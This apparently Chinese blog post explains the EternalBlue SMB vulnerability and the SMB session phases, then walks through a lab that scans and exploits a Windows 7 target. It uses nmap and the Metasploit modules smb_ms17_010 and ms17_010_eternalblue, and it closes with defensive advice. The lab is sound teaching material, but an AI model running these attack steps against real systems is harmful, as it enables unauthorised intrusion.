• 永恒之蓝漏洞原理及复现


    一.介绍。

    1.什么是永恒之蓝。

    永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
    2.SMB协议介绍。

    SMB(ServerMessage Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。SMB 是在会话层(session layer)和表示层(presentation layer)以及小部分应用层(application layer)的协议。SMB使用了NetBIOS的应用程序接口 (Application Program Interface,简称API),一般端口使用为139,445。

    3.SMB会话生命阶段。

    1) SMB协议协商(Negotiate)

    在一个SMB还没有开始的时候,由客户端率先发出一个协商请求。在请求中,客户端会列出所有它所支持协议版本以及所支持的一些特性(比如加密Encryption、持久句柄Persistent Handle、客户端缓存Leasing等等)。而服务端在回复中则会指定一个SMB版本且列出客户端与服务端共同支持的特性。

    2)建立SMB会话(Session Setup)

    客户端选择一个服务端支持的协议来进行用户认证,可以选择的认证协议一般包括NTLM、Kerberos等。按照选择的认证协议的不同,这个阶段可能会进行一次或多次SESSION_SETOP请求/回复的网络包交换。

    3)连接一个文件分享(Tree Connect)

    在会话建立之后,客户端会发出连接文件分享的请求。源于文件系统的树形结构,该请求被命名为树连接(Tree Connect)。以SMB协议的阿里云NAS为例,一般的SMB挂载命令为:

    net use z: \\XXX.nas.aliyuncs.com\myshare

    其中的“ \\XXX.nas.aliyuncs.com\myshare”便是我们将要连接的那个文件分享,也便是那棵“树”。如果在“myshare”中创建有子目录“abc”,那直接连接“abc”这棵子树也是可以的:

    net use z: \\XXX.nas.aliyuncs.com\myshare\abc

    4) 文件系统操作

    在文件分享连接成功之后,用户通过SMB客户端进行真正的对于目标文件分享的业务操作。这个阶段可以用到的指令有CREATE、CLOSE、FLUSH、READ、WRITE、SETINFO、GETINFO等等。

    5)断开文件分享连接(Tree Disconnect)

    当一个SMB会话被闲置一定时间之后,Windows会自动断开文件分享连接并随后中止SMB会话。这个闲置时间可以通过Windows注册表进行设定。当然,用户也可以主动发起断开连接请求。

    6)终止SMB会话(Logoff)

    当客户端发出会话中止请求并得到服务端发回的中止成功的回复之后,这个SMB会话至此便正式结束了。

    二.实验环境。

    1.环境介绍。

    攻击机:kali:ip:192.168.248.128

    靶机:windows7专业版:ip:192.168.248.130

    2.工具介绍。

    Metasploit:

    Metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编 写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。该工具有六个模块,分别为辅助模块(auxiliary)、渗透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模块。此工具集成在kali中。其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。

    三.实验步骤。

    1.确定连通

    用kali中ping命令测试。

     

     

     2.查看靶机开放端口。

    nmap -r 192.168.248.130

     

     

     确定端口开放。

    3.进入msf。

    1)使用auxiliary模块。

    use auxiliary/scanner/smb/smb_ms17_010

     

     

     2)查看需要配置的信息

    show  options

     

     

     3)设置攻击目标及端口

    set rhosts 192.168.248.130
    set rport 445

     

     

     经测试后发现存在漏洞。

    4)使用exploit/windows/smb/ms17_010_eternalblue进行攻击。

    use exploit/windows/smb/ms17_010_eternalblue

     

     至此漏洞利用结束。

    四.永恒之蓝防护。

    1)禁用SMB协议

    2)打开Windows Update,或手动安装补丁

    3)使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接

    4)不要随意打开陌生的文件

    4)安装杀毒软件,及时更新病毒库

     

  • 相关阅读:
    CentOS 7 编译安装 Git
    听GPT 讲Rust源代码--src/bootstrap
    计算机网络【CN】TCP报文段格式【20B】
    Github 2024-05-29 开源项目日报Top10
    关键词搜索抖音商品列表API接口-(item_search-根据关键词取商品列表API接口)
    C#使用DateTime获取日期和时间
    CSS如何画出平行四边形
    网络安全域内用户Hash获取方式
    vscode各种配置的方法
    【Shashlik.EventBus】.NET 事件总线,分布式事务最终一致性
  • 原文地址:https://www.cnblogs.com/yaolingyu/p/16273771.html